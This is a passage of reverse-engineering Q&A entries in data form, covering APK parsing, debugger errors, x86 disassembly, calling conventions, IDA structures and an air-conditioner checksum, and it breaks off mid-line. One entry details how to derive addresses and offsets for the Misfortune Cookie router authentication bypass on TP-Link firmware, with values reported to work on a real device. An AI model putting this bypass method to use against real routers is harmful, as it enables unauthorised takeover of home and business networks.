        "Answer": "<p>Amazing exercise.</p>\n\n<p>Here are the steps you can do broadly:</p>\n\n<ol>\n<li>Unzip the <code>apk</code> file (APK files are compressed <code>zip</code> files)</li>\n<li>All the <code>xml</code> files including the <code>AndroidManifest.xml</code> are encoded in a binary format, also better known as <code>AXML</code></li>\n<li>Parse the <code>AXML</code> files by writing your own scripts. See examples <a href=\"https://github.com/lunny/axmlParser\" rel=\"nofollow\">AXML Parser in GO</a> and <a href=\"https://github.com/secmobi/android-utils/blob/master/axml/AxmlParser.c\" rel=\"nofollow\">AXML Parser in C</a></li>\n<li>you would find <code>classes.dex</code> file which is a <code>DEX</code> file or better known as Dalvik Executable</li>\n<li>The <a href=\"http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html\" rel=\"nofollow\">Dalvik opcode</a> might come handy, if you can read the hex-version of the dexfile and write your own script</li>\n<li>If you have installed android sdk properly, there is a tool <code>dexdump</code> which comes by default in it</li>\n<li><p>In order to use the tool the following command can help</p>\n\n<pre><code>$ dexdump -d classes.dex\n000418: 2b02 0c00 0000               |0000: packed-switch v2,0000000c // +0x0c\n00041e: 12f0                         |0003: const/4 v0, #int -1 // #ff\n000420: 0f00                         |0004: return v0\n000422: 1220                         |0005: const/4 v0, #int 2 // #2\n000424: 28fe                         |0006: goto 0004 // -0002\n000426: 1250                         |0007: const/4 v0, #int 5 // #5\n000428: 28fc                         |0008: goto 0004 // -0004\n00042a: 1260                         |0009: const/4 v0, #int 6 // #6\n00042c: 28fa                         |000a: goto 0004 // -0006\n00042e: 0000                         |000b: nop // spacer\n000430: 0001 0300 faff ffff 0500 ... |000c: packed-switch-data (10 units)\n</code></pre></li>\n</ol>\n"
    },
    {
        "Id": "12558",
        "CreationDate": "2016-04-29T13:12:58.173",
        "Body": "<p>I wanted to debug an executable but I always receive one of the errors 'last or first chance' exception. The 'last error' label shows me this error : <code>00000008 (ERROR_NOT_ENOUGH_MEMORY)</code>. When I run the executable without any debugger I always have enough memory.</p>\n\n<p>Ollydbg breaks before I can even debug.\nx64dbg breaks while debugging.</p>\n\n<p>With ollydbg I have used the 32bit executable of the program.</p>\n\n<p>The OPc looks like this:</p>\n\n<pre><code>00007FF6A179B097 | int3                                    |\n00007FF6A179B098 | sub rsp,48                              |\n00007FF6A179B09C | lea rcx,qword ptr ss:[rsp+20]           |\n00007FF6A179B0A1 | call &lt;executable&gt;.7FF6A0C58980          |\n00007FF6A179B0A6 | lea rdx,qword ptr ds:[7FF6A230CE80]     |\n00007FF6A179B0AD | lea rcx,qword ptr ss:[rsp+20]           |\n00007FF6A179B0B2 | call &lt;executable&gt;.7FF6A17CC4EC          |\n00007FF6A179B0B7 | int3                                    | &lt;-\n</code></pre>\n\n<p>But I guess this isn't any help. We just know that the last call produces this error ?!</p>\n\n<p>EDIT: I have 12 gb of ram.</p>\n\n<p>Regards</p>\n",
        "Title": "x64dbg and ollydbg error not enough memory",
        "Tags": "|ollydbg|debugging|memory|exception|",
        "Answer": "<p>Based on the comments exchanged above, it sounds like the program uses anti-debugger code. You have a few options to deal with it:</p>\n\n<ol>\n<li>Find and disable (NOP / jump-over / etc.) the anti-debugging code.</li>\n<li>Try to hide your debugger (manually or by using a stealthing plugin).</li>\n<li>Run your program without a debugger, and then after it's up and running, attach to it with your debugger.</li>\n</ol>\n\n<p>Option #1 requires the most effort, but is guaranteed to work.</p>\n\n<p>Option #2 can save time over Option #1, but can involve a lot of trial-and-error.</p>\n\n<p>Option #3 is the easiest option, IMHO, as long as you don't need to debug your target from its entry point. It assumes that the anti-debugging code only executes at the very beginning of the program, which is typically a safe assumption.</p>\n"
    },
    {
        "Id": "12568",
        "CreationDate": "2016-05-01T07:29:20.067",
        "Body": "<p>I have a disassembled C binary that I would like to reverse engineer. It is a program that takes an input \"username\" string, and returns a (most-likely) unique 8-digit hex number for identification purposes. It would be really helpful for my understanding if someone could explain what some good general approaches to reverse engineering assembly manually would be or any insights into the functions themselves.</p>\n\n<p>I used objdump -d to disassemble it. (this is it trimmed). Unfortunately, all I could learn from it by stepping through it with gdb was that the hash seems to be iterated (though I'm hoping it won't be a one-way function).</p>\n\n<pre><code>08048414 &lt;main&gt;:\n 8048414:   55                      push   %ebp\n 8048415:   89 e5                   mov    %esp,%ebp\n 8048417:   83 e4 f0                and    $0xfffffff0,%esp\n 804841a:   57                      push   %edi\n 804841b:   56                      push   %esi\n 804841c:   53                      push   %ebx\n 804841d:   83 ec 14                sub    $0x14,%esp\n 8048420:   8b 7d 08                mov    0x8(%ebp),%edi\n 8048423:   8b 75 0c                mov    0xc(%ebp),%esi\n 8048426:   83 ff 01                cmp    $0x1,%edi\n 8048429:   7e 27                   jle    8048452 &lt;main+0x3e&gt;\n 804842b:   bb 01 00 00 00          mov    $0x1,%ebx\n 8048430:   8b 04 9e                mov    (%esi,%ebx,4),%eax\n 8048433:   89 04 24                mov    %eax,(%esp)\n 8048436:   e8 8a 00 00 00          call   80484c5 &lt;gencookie&gt;\n 804843b:   89 44 24 04             mov    %eax,0x4(%esp)\n 804843f:   c7 04 24 c4 85 04 08    movl   $0x80485c4,(%esp)\n 8048446:   e8 f1 fe ff ff          call   804833c &lt;printf@plt&gt;\n 804844b:   83 c3 01                add    $0x1,%ebx\n 804844e:   39 df                   cmp    %ebx,%edi\n 8048450:   7f de                   jg     8048430 &lt;main+0x1c&gt;\n 8048452:   b8 00 00 00 00          mov    $0x0,%eax\n 8048457:   83 c4 14                add    $0x14,%esp\n 804845a:   5b                      pop    %ebx\n 804845b:   5e                      pop    %esi\n 804845c:   5f                      pop    %edi\n 804845d:   89 ec                   mov    %ebp,%esp\n 804845f:   5d                      pop    %ebp\n 8048460:   c3                      ret    \n 8048461:   90                      nop\n 8048462:   90                      nop\n 8048463:   90                      nop\n\n08048464 &lt;hash&gt;:\n 8048464:   55                      push   %ebp\n 8048465:   89 e5                   mov    %esp,%ebp\n 8048467:   8b 4d 08                mov    0x8(%ebp),%ecx\n 804846a:   0f b6 11                movzbl (%ecx),%edx\n 804846d:   b8 00 00 00 00          mov    $0x0,%eax\n 8048472:   84 d2                   test   %dl,%dl\n 8048474:   74 13                   je     8048489 &lt;hash+0x25&gt;\n 8048476:   6b c0 67                imul   $0x67,%eax,%eax\n 8048479:   0f be d2                movsbl %dl,%edx\n 804847c:   8d 04 02                lea    (%edx,%eax,1),%eax\n 804847f:   83 c1 01                add    $0x1,%ecx\n 8048482:   0f b6 11                movzbl (%ecx),%edx\n 8048485:   84 d2                   test   %dl,%dl\n 8048487:   75 ed                   jne    8048476 &lt;hash+0x12&gt;\n 8048489:   5d                      pop    %ebp\n 804848a:   c3                      ret    \n\n0804848b &lt;check&gt;:\n 804848b:   55                      push   %ebp\n 804848c:   89 e5                   mov    %esp,%ebp\n 804848e:   8b 45 08                mov    0x8(%ebp),%eax\n 8048491:   89 c2                   mov    %eax,%edx\n 8048493:   c1 ea 1c                shr    $0x1c,%edx\n 8048496:   85 d2                   test   %edx,%edx\n 8048498:   74 24                   je     80484be &lt;check+0x33&gt;\n 804849a:   3c 0a                   cmp    $0xa,%al\n 804849c:   74 20                   je     80484be &lt;check+0x33&gt;\n 804849e:   0f b6 d4                movzbl %ah,%edx\n 80484a1:   83 fa 0a                cmp    $0xa,%edx\n 80484a4:   74 18                   je     80484be &lt;check+0x33&gt;\n 80484a6:   89 c2                   mov    %eax,%edx\n 80484a8:   c1 ea 10                shr    $0x10,%edx\n 80484ab:   80 fa 0a                cmp    $0xa,%dl\n 80484ae:   74 0e                   je     80484be &lt;check+0x33&gt;\n 80484b0:   c1 e8 18                shr    $0x18,%eax\n 80484b3:   83 f8 0a                cmp    $0xa,%eax\n 80484b6:   0f 95 c0                setne  %al\n 80484b9:   0f b6 c0                movzbl %al,%eax\n 80484bc:   eb 05                   jmp    80484c3 &lt;check+0x38&gt;\n 80484be:   b8 00 00 00 00          mov    $0x0,%eax\n 80484c3:   5d                      pop    %ebp\n 80484c4:   c3                      ret    \n\n080484c5 &lt;gencookie&gt;:\n 80484c5:   55                      push   %ebp\n 80484c6:   89 e5                   mov    %esp,%ebp\n 80484c8:   53                      push   %ebx\n 80484c9:   83 ec 14                sub    $0x14,%esp\n 80484cc:   8b 45 08                mov    0x8(%ebp),%eax\n 80484cf:   89 04 24                mov    %eax,(%esp)\n 80484d2:   e8 8d ff ff ff          call   8048464 &lt;hash&gt;\n 80484d7:   89 04 24                mov    %eax,(%esp)\n 80484da:   e8 2d fe ff ff          call   804830c &lt;srand@plt&gt;\n 80484df:   e8 68 fe ff ff          call   804834c &lt;rand@plt&gt;\n 80484e4:   89 c3                   mov    %eax,%ebx\n 80484e6:   89 04 24                mov    %eax,(%esp)\n 80484e9:   e8 9d ff ff ff          call   804848b &lt;check&gt;\n 80484ee:   85 c0                   test   %eax,%eax\n 80484f0:   74 ed                   je     80484df &lt;gencookie+0x1a&gt;\n 80484f2:   89 d8                   mov    %ebx,%eax\n 80484f4:   83 c4 14                add    $0x14,%esp\n 80484f7:   5b                      pop    %ebx\n 80484f8:   5d                      pop    %ebp\n 80484f9:   c3                      ret    \n 80484fa:   90                      nop\n 80484fb:   90                      nop\n 80484fc:   90                      nop\n 80484fd:   90                      nop\n 80484fe:   90                      nop\n 80484ff:   90                      nop\n</code></pre>\n\n<p>The executable file can be found <a href=\"https://github.com/quinnliu/bufferBomb/blob/master/makecookie\" rel=\"nofollow\">here</a>.</p>\n\n<p>Update:</p>\n\n<p>Using the ultimate disassembler (google) I found the source code (<a href=\"http://rig.cs.luc.edu/~rig/courses/c264/csapp/labs/buflab/src/\" rel=\"nofollow\">here</a>). I found out that the unique hex digit is created by using rand() seeded with the base-103-encoded ASCII characters of the username. Calls to rand() are repeated until an 8-digit hex number is produced (and some other constraints are met).</p>\n\n<p>(This update is mostly for reference)</p>\n",
        "Title": "Reverse engineering a disassembled C binary",
        "Tags": "|binary-analysis|x86|",
        "Answer": "<blockquote>\n  <p>understanding if someone could explain what some good general\n  approaches to reverse engineering assembly manually would be or any\n  insights into the functions themselves.</p>\n</blockquote>\n\n<p>Try opening binary EXE file with IDA and set <code>gdb</code> as remote debugger.IDA will analyze binary at first then determines subroutines in the assembly code.</p>\n\n<p>This is a lot easier and more helpful approach you can think of.Update question with any progress you made and the specific problem you are facing so we can help you better.</p>\n"
    },
    {
        "Id": "12575",
        "CreationDate": "2016-05-01T18:07:56.780",
        "Body": "<p>Good Evening,</p>\n\n<p>currently, I am struggling around with a problem of getting the parameters of the wsasend function. The only parameter where found out something is this one:</p>\n\n<p><code>mov qword ptr ss:[rsp+60],rsi</code></p>\n\n<p>This should be the something with count because it's between ~60 - ~3000 (pausing application ~60, !pausing application ~3000) Not after the functioned was called so this couldn't be the \"bytes send\" parameter.</p>\n\n<pre><code>mov rsi,qword ptr ss:[rsp+80]\nmov qword ptr ss:[rsp+28],rsi\n</code></pre>\n\n<p>These 2 lines are one parameter ? I guess because rsi gets a value which is than used one instruction later.</p>\n\n<p><em>Maybe someone can give me a hint on how to find the correct parameters.</em></p>\n\n<p>Before I have found this function I thought parameters are only passed to a function via push but after some research, I have found out that this is compiler dependend and I find it difficult to find the parameters.</p>\n\n<p><a href=\"https://i.stack.imgur.com/ILF3B.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ILF3B.png\" alt=\"enter image description here\"></a></p>\n\n<pre><code>int WSASend(\n  __in   SOCKET s,\n  __in   LPWSABUF lpBuffers,\n  __in   DWORD dwBufferCount,\n  __out  LPDWORD lpNumberOfBytesSent,\n  __in   DWORD dwFlags,\n  __in   LPWSAOVERLAPPED lpOverlapped,\n  __in   LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine\n);\n</code></pre>\n",
        "Title": "wsasend(disassemblied) function get parameters",
        "Tags": "|disassembly|functions|",
        "Answer": "<p>See <a href=\"https://msdn.microsoft.com/en-us/library/ms235286.aspx\" rel=\"nofollow\">https://msdn.microsoft.com/en-us/library/ms235286.aspx</a>:</p>\n\n<blockquote>\n  <p>The arguments are passed in registers RCX, RDX, R8, and R9</p>\n</blockquote>\n\n<p>So, the socket is in <code>rcx</code>, <code>Buffers</code> in <code>rdx</code> (copied from <code>r11</code>), <code>BufferCount</code> in <code>r8</code> copied from <code>r10</code>, and NumberOfBytesSent in <code>r9</code> (and stored to <code>rsp+50</code>). The rest of the arguments are pushed on the stack.</p>\n\n<p>This is <em>not</em> compiler dependent, every compiler that produces calls to windows functions has to adhere to this convention. (It is OS dependent though, the convention for Linux is different)</p>\n\n<p>If you want to learn more, google for <code>x64 ABI</code> (ABI is for Application Binary Interface).</p>\n"
    },
    {
        "Id": "12587",
        "CreationDate": "2016-05-03T18:46:10.643",
        "Body": "<p>I'm trying to reverse a bigger structure used in an old game. Obviously I didn't know all fields when I created the structure type, and now I want to edit in some new fields / change pure byte gaps into meaningful fields.</p>\n\n<p>This, for example, is a structure of a GuiButton which I know by now, but it's just a gap yet:\n<a href=\"https://i.stack.imgur.com/WGjt7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WGjt7.png\" alt=\"enter image description here\"></a></p>\n\n<p>I don't find any way to edit the field of the structure. Do I have to completely delete the existing structure and create a new one?\n<a href=\"https://i.stack.imgur.com/8kQLb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8kQLb.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to edit (insert new fields into) IDA structures?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>Position cursor where you want to insert (cannot be at the structure end) and\npress <kbd>Ctrl</kbd>+<kbd>E</kbd>  (see expand command in IDA documentation).</p>\n"
    },
    {
        "Id": "12590",
        "CreationDate": "2016-05-03T23:14:34.897",
        "Body": "<p>I am working on an exploit over a month now I have a problem and cannot go further.</p>\n\n<p>here is the link of the exploit:</p>\n\n<p><a href=\"https://gist.github.com/doorbash/f454c698f192a0e5d1bf4da9c6869b67\" rel=\"nofollow noreferrer\">https://gist.github.com/doorbash/f454c698f192a0e5d1bf4da9c6869b67</a></p>\n\n<p><a href=\"https://www.exploit-db.com/exploits/39739\" rel=\"nofollow noreferrer\">https://www.exploit-db.com/exploits/39739</a></p>\n\n<h1>Description:</h1>\n\n<p>Misfortune Cookie is a critical vulnerability that allows an intruder to remotely take over an Internet router and use it to attack home and business networks.With a few magic cookies added to your request you bypass any authentication and browse the configuration interface as admin, from any open port.</p>\n\n<p>\u200cBy sending <strong><code>Cxxx=yyy</code></strong> cookie to the router web interface <strong><code>yyy</code></strong> will be saved at memory address <strong><code>xxx * 0x28 + Offset</code></strong>.If we find <strong><code>Authentication Enable/Disable boolean address</code></strong> and <strong><code>offset</code></strong> we can add data for this firmware to the exploit's target list and bypass the authentication by sending the right cookie.</p>\n\n<h1>How I analyzed the firmwares:</h1>\n\n<p>The firmware I analyzed at first is <strong>TP-Link 8901G V3 3.0.1 Build 100901 Rel.23594</strong>. <a href=\"http://dl.2dclp.ir/doorbash.ir/mce/3.0.1%20Build%20100901%20Rel.23594\" rel=\"nofollow noreferrer\">download it here</a> and run <code>binwalk -e V3 3.0.1 Build 100901 Rel.23594</code> then open the largest file in extracted directory using IDA by selecting <code>mipsb</code> as the cpu architecture and <code>0x80020000</code> for base address.</p>\n\n<p>If you search for <strong>Do not need</strong> string using Alt+T keys you will find a <strong>sb XXXX($gp)</strong>\nat the very first lines of the code you realize the <strong>li $gp,YYYYY</strong> instruction. the authentication address will be located by adding <strong>XXXX and YYYYY</strong> which in this case will be <strong>0x803E1829</strong></p>\n\n<p>Now we must discover how <code>Cookie: CNNNN=MMM;</code> alter memory contents:\nif you search for \"soapaction\" using Alt+T you will find this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/rDv05.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rDv05.jpg\" alt=\"\"></a></p>\n\n<p>Go to the sub process highlighted by red color.</p>\n\n<p><a href=\"https://i.stack.imgur.com/bBWLw.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bBWLw.jpg\" alt=\"\"></a></p>\n\n<p>Now consider the number 0x6b28 as <strong><code>A = 0x6B28</code></strong></p>\n\n<p>Now back and toward up:</p>\n\n<p><a href=\"https://i.stack.imgur.com/7DReD.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7DReD.jpg\" alt=\"\"></a></p>\n\n<p>Now go to the top sub process:</p>\n\n<p><a href=\"https://i.stack.imgur.com/99wie.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/99wie.jpg\" alt=\"\"></a></p>\n\n<p>you will find this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/O8nNw.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/O8nNw.jpg\" alt=\"\"></a></p>\n\n<p>now <strong><code>B = 0xA44</code></strong>, <strong><code>C = 0x1887C</code></strong> and <strong><code>D = 0x8041877C</code></strong>.</p>\n\n<p>and <strong><code>MAGIC_NUMBER = 0x16B88</code></strong> (I don't have any idea why but it works)</p>\n\n<p>Now <strong><code>OFFSET = A - B + C + D - MAGIC_NUMBER = 0x80420554</code></strong></p>\n\n<p>now call <strong><code>info(calc(0x8041877C,0x1887c,0xa44,0x6B28,0x16b88),0x803E1829)</code></strong> or <strong><code>info(0x80420554,0x803E1829)</code></strong> in <a href=\"http://dl.2dclp.ir/doorbash.ir/mce/util.py\" rel=\"nofollow noreferrer\">util.py</a> I attached the output is <strong><code>,107367749,13</code></strong> which is the data we need for this firmware in the exploit.</p>\n\n<p>the process is very similar (and different and also easier in the <strong>TP-Link W8961ND V3 120830</strong> <a href=\"http://dl.2dclp.ir/doorbash.ir/mce/TD-W8961ND_V3_120830_FI\" rel=\"nofollow noreferrer\">download it here</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/iXovp.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iXovp.jpg\" alt=\"\"></a></p>\n\n<pre><code>AuthenticationAddress = 0x803605B4\nA = 0x6B28\nB = 0x0 (move    $a0, $s1)\nC = 0x17E38\nD = 0x804234C8\nMAGIC_NUMBER = 0x16B88\nOFFSET = A-B+C+D-MAGIC_NUMBER = 0x8042B2A0\n</code></pre>\n\n<p>We call <strong><code>info(0x8042B2A0,0x803605B4)</code></strong> in <a href=\"http://dl.2dclp.ir/doorbash.ir/mce/util.py\" rel=\"nofollow noreferrer\">util.py</a> and output is <strong><code>,107353414,36</code></strong> which is tested on real device and works.</p>\n\n<h1>THE PROBLEM IS:</h1>\n\n<p>for <strong>TD_W961ND_V3_140305</strong> <a href=\"http://dl.2dclp.ir/doorbash.ir/mce/TD-W8961ND_V3_140305\" rel=\"nofollow noreferrer\">download it here</a> the firmware has <strong>\"Do not need\"</strong> and <strong>\"soapacation\"</strong> texts but IDA cannot find the pointing addresses to these strings.I could not find out why.</p>\n\n<p>The modifications and bug fixes for this according to <a href=\"http://www.tp-link.com/en/download/TD-W8961ND_V3.html#Firmware\" rel=\"nofollow noreferrer\">here</a> is :</p>\n\n<ol>\n<li><p><strong>Add the security mechanism.</strong></p></li>\n<li><p>Fixed the problem router's time can't synchronize from PC successfully.</p></li>\n<li><p>Banned accessing the firmware upgrading page from WAN.</p></li>\n<li><p>Fixed the problem that router failed to upload rom-0(Backup configuration).</p></li>\n<li><p>Solved the problem that the login interface can't save the password correctly in Chrome and Firefox.</p></li>\n<li><p>Solved the problem that we can\u2019t visit CPE using \u201cIP:Port\u201d after we set up Virtual Server.</p></li>\n<li><p>Forbidden access to the device through <a href=\"http://wan/lan\" rel=\"nofollow noreferrer\">http://wan/lan</a> ip/ or <a href=\"http://wan/lan\" rel=\"nofollow noreferrer\">http://wan/lan</a> ip/xxx.htm.</p></li>\n<li><p>Fixed other bugs and problems.</p></li>\n</ol>\n\n<p>I am not sure if the security mechanism (#1) is what is making this issue or not.</p>\n\n<p>I also tried to compare 100901, 120830 and 140305 using binwalk entropy:</p>\n\n<h1>binwalk -E -J 120830 140305 100901</h1>\n\n<h1>100901:</h1>\n\n<p><a href=\"https://i.stack.imgur.com/FEcZb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FEcZb.png\" alt=\"\"></a></p>\n\n<h1>120830:</h1>\n\n<p><a href=\"https://i.stack.imgur.com/XnGjQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XnGjQ.png\" alt=\"\"></a></p>\n\n<h1>140305:</h1>\n\n<p><a href=\"https://i.stack.imgur.com/KRDUz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KRDUz.png\" alt=\"\"></a></p>\n\n<p>I know somethings wrong with <strong>140305</strong> (unusual wave forms at left) but could not come across any findings.</p>\n\n<h1>Update 1:</h1>\n\n<p>Here is how memory address <code>0x800D53BC</code> looks like in my IDA:</p>\n\n<p><a href=\"https://i.stack.imgur.com/WHYi9.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WHYi9.jpg\" alt=\"\"></a></p>\n\n<p>Any idea or tip about how to fix this mess?</p>\n\n<p><a href=\"https://i.stack.imgur.com/hlmok.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hlmok.jpg\" alt=\"\"></a></p>\n",
        "Title": "Multiple vendors Misfortune Cookie Router Authentication Bypass Exploit",
        "Tags": "|ida|disassembly|firmware|",
        "Answer": "<p>According to <a href=\"http://www.tp-link.com/en/download/TD-W8961ND_V3.html#Firmware\" rel=\"nofollow noreferrer\">TP-LINK</a> the misfortune cookie was fixed only in firmware version TD-W8961ND_V3_150707. So, the TD_W961ND_V3_140305 is also vulnerable.</p>\n\n<p>Since it is a binary file you may not analyse the code part dealing with the <code>soapaction</code> string, but here is what I found for firmware 140305:</p>\n\n<p><a href=\"https://i.stack.imgur.com/kEFxG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kEFxG.png\" alt=\"enter image description here\"></a></p>\n\n<p>UPDATE!</p>\n\n<p>You can find the \"Do not need\" string at <code>0x801a015a</code>. For some reasons it is mips16 code and was referenced only from the command table as the <code>pswauthen</code> command handler. So, you have to change the code representation to mips16 with <code>alt+g</code> at the start of the handler and then press <code>c</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/swtf7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/swtf7.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "12592",
        "CreationDate": "2016-05-04T18:25:23.927",
        "Body": "<p>I am trying to reverse-engineer the protocol used between my Air-conditioner and the wired control unit on my wall.  (In order to have my home automation be able to monitor and control the A/C.)</p>\n\n<p>The electrical interface is simple open-collector bus with either end sending bytes using 100-baud UART timing (very slow, probably to tolerate electrical noise on this un-balanced bus).</p>\n\n<p>I have captured communication between the two ends, and found that they always send 13-byte packets, of which the last byte seems to be some sort of checksum.  I am confident that I can figure out where in the 12-byte payload to find the temperature setpoint, on/off bits, etc.  However, I cannot figure out how the checksum is calculated, and if I do not get that right, then I will not be able to inject commands to the A/C unit (other than re-playing known commands, which could work, but would not give me the satisfaction of complete reverse engineering.)</p>\n\n<p>Below, I have copied the packets that I have captured so far.  It is clear that the checksum is not a CRC, since often one bit flip in the data results in only one or a few adjacent bits in the checksum being flipped.</p>\n\n<p>Studying how the checksum changes as the 8th byte is incremented reveals a clear pattern of differences: -1 +3 -1 -5 -1 +3 -1 -21 -1 +3 -1 -5 -1...\nThe above sequence is part of what is generated by the formula y = (x &amp; 0xAA) - (x &amp; 0x55), so I think that it would somehow form part of the checksum algorithm.</p>\n\n<p>I have not been able to figure out how overall to mix together the input bytes, though, which is why I ask the expert reverse engineers in this forum.  Any observations are welcome, even if not a complete solution.</p>\n\n<p>The air conditioner is Friedrich M09CJ, and the wall mounted \"thermostat\" DWC1 can interface with a number of other Friedrich air conditioners, so it is a reasonable guess that those would also use the same protocol.</p>\n\n<blockquote>\n  <p>The line numbers have been added later and do not belong to the data.</p>\n</blockquote>\n\n<pre><code>   1        A8 00 00 00 00 00 09 17 00 00 00 00 9D\n   2        A8 00 00 00 00 00 09 18 00 00 00 00 9C\n   3        A8 00 00 00 00 00 09 19 00 00 00 00 9F\n   4        A8 00 00 00 00 00 09 1A 00 00 00 00 9E\n   5        A8 00 00 00 00 00 09 1B 00 00 00 00 99\n   6        A8 00 00 00 00 00 09 1C 00 00 00 00 98\n   7        A8 00 00 00 00 00 09 1D 00 00 00 00 9B\n   8        A8 00 00 00 00 00 09 1E 00 00 00 00 9A\n   9        A8 00 00 00 00 00 09 1F 00 00 00 00 85\n  10        A8 00 00 00 00 00 09 20 00 00 00 00 84\n  11        A8 00 00 00 00 00 09 20 00 00 40 00 44\n  12        A8 00 00 00 00 00 09 21 00 00 00 00 87\n  13        A8 00 00 00 00 00 09 22 00 00 00 00 86\n  14        A8 00 00 00 00 00 09 23 00 00 00 00 81\n  15        A8 00 00 00 00 00 09 23 00 00 40 00 41\n  16        A8 00 00 00 00 00 09 24 00 00 00 00 80\n  17        A8 01 00 00 00 00 09 23 40 00 80 00 C0\n  18        A8 01 00 00 00 00 09 24 40 00 80 00 C3\n  19        A8 02 00 00 00 00 09 1E 00 00 00 00 84\n  20        A8 02 00 00 00 00 09 20 00 00 00 00 86\n  21        A8 02 00 00 00 04 05 1E 00 00 00 00 84\n  22        A8 02 00 00 00 04 07 1F 00 00 00 00 81\n  23        A8 02 00 00 00 04 09 1F 00 00 00 00 83\n  24        A8 02 00 00 00 04 09 20 00 00 00 00 82\n  25        A8 02 00 00 00 04 0A 20 00 00 00 00 8D\n  26        A8 02 00 00 00 04 0E 1F 00 00 00 00 8E\n  27        A8 02 00 00 00 04 0E 20 00 00 00 00 89\n  28        A8 03 00 00 00 00 09 20 00 00 00 00 81\n  29        A8 03 00 00 00 00 0A 20 00 00 00 00 80\n  30        A8 03 00 00 00 00 0B 20 00 00 00 00 83\n  31        A8 41 00 00 00 00 01 00 40 00 80 00 FF\n  32        A8 41 00 00 00 00 01 1F 40 00 80 00 9C\n  33        A8 42 00 00 00 00 09 1F 00 00 00 00 47\n  34        A8 60 40 00 00 00 09 1F 00 00 00 00 25\n  35        A8 60 40 00 00 00 09 20 00 00 00 00 24\n  36        A8 60 40 00 00 00 09 21 00 00 00 00 27\n  37        A8 60 40 00 00 00 09 22 00 00 00 00 26\n  38        A8 60 40 00 00 00 09 23 00 00 00 00 21\n  39        A8 62 00 00 00 00 09 1F 00 00 00 00 67\n  40        A8 62 00 00 00 00 09 20 00 00 00 00 66\n  41        A8 62 40 00 00 00 09 20 00 00 00 00 26\n  42        A8 62 40 00 00 00 09 21 00 00 00 00 21\n  43        A8 62 40 00 00 04 09 1D 00 00 00 00 21\n  44        A8 62 40 00 00 04 09 1E 00 00 00 00 20\n  45        A8 62 40 00 00 04 09 1F 00 00 00 00 23\n  46        A8 62 40 00 00 04 09 20 00 00 00 00 22\n  47        A8 62 40 00 00 04 09 21 00 00 00 00 2D\n  48        C8 00 00 00 00 00 09 17 00 00 00 00 BD\n  49        C8 00 00 00 00 00 09 18 00 00 00 00 BC\n  50        C8 00 00 00 00 00 09 19 00 00 00 00 BF\n  51        C8 00 00 00 00 00 09 1A 00 00 00 00 BE\n  52        C8 00 00 00 00 00 09 1B 00 00 00 00 B9\n  53        C8 00 00 00 00 00 09 1D 00 00 00 00 BB\n  54        C8 00 00 00 00 00 09 1E 00 00 00 00 BA\n  55        C8 00 00 00 00 00 09 1F 00 00 00 00 A5\n  56        C8 00 00 00 00 00 09 20 00 00 00 00 A4\n  57        C8 00 00 00 00 00 09 21 00 00 00 00 A7\n  58        C8 00 00 00 00 00 09 21 00 00 40 00 67\n  59        C8 00 00 00 00 00 09 22 00 00 00 00 A6\n  60        C8 00 00 00 00 00 09 22 00 00 40 00 66\n  61        C8 02 00 00 00 00 09 21 00 00 00 00 A1\n  62        C8 02 00 00 00 04 09 20 00 00 00 00 A2\n  63        C8 03 00 00 00 00 09 20 00 00 00 00 A1\n  64        C8 03 00 00 00 00 09 21 00 00 00 00 A0\n  65        C8 03 00 00 00 00 09 22 00 00 00 00 A3\n  66        C8 03 00 00 00 00 0A 20 00 00 00 00 A0\n  67        C8 03 00 00 00 00 0A 21 00 00 00 00 A3\n  68        C8 03 00 00 00 00 0A 22 00 00 00 00 A2\n  69        C8 03 00 00 00 00 0C 20 00 00 00 00 A2\n  70        C8 03 00 00 00 00 0C 21 00 00 00 00 AD\n  71        C8 03 00 00 00 00 0D 21 00 00 00 00 AC\n  72        C8 03 00 00 00 00 0E 21 00 00 00 00 AF\n  73        C8 03 00 00 00 00 0F 20 00 00 00 00 AF\n  74        C8 03 00 00 00 00 0F 21 00 00 00 00 AE\n  75        C8 03 00 00 00 04 03 20 00 00 00 00 A7\n  76        C8 03 00 00 00 04 04 20 00 00 00 00 A6\n  77        C8 03 00 00 00 04 05 20 00 00 00 00 A1\n  78        C8 03 00 00 00 04 06 20 00 00 00 00 A0\n  79        C8 03 00 00 00 04 07 20 00 00 00 00 A3\n  80        C8 03 00 00 00 04 08 20 00 00 00 00 A2\n  81        C8 03 00 00 00 04 09 20 00 00 00 00 AD\n  82        C8 03 00 00 00 04 09 21 00 00 00 00 AC\n  83        C8 03 00 00 00 04 0A 20 00 00 00 00 AC\n  84        C8 03 00 00 00 04 0A 22 00 00 00 00 AE\n  85        C8 03 00 00 00 04 0B 20 00 00 00 00 AF\n  86        C8 03 00 00 00 04 0B 22 00 00 00 00 A9\n  87        C8 03 00 00 00 04 0C 20 00 00 00 00 AE\n  88        C8 03 00 00 00 04 0C 22 00 00 00 00 A8\n  89        C8 03 00 00 00 04 0D 20 00 00 00 00 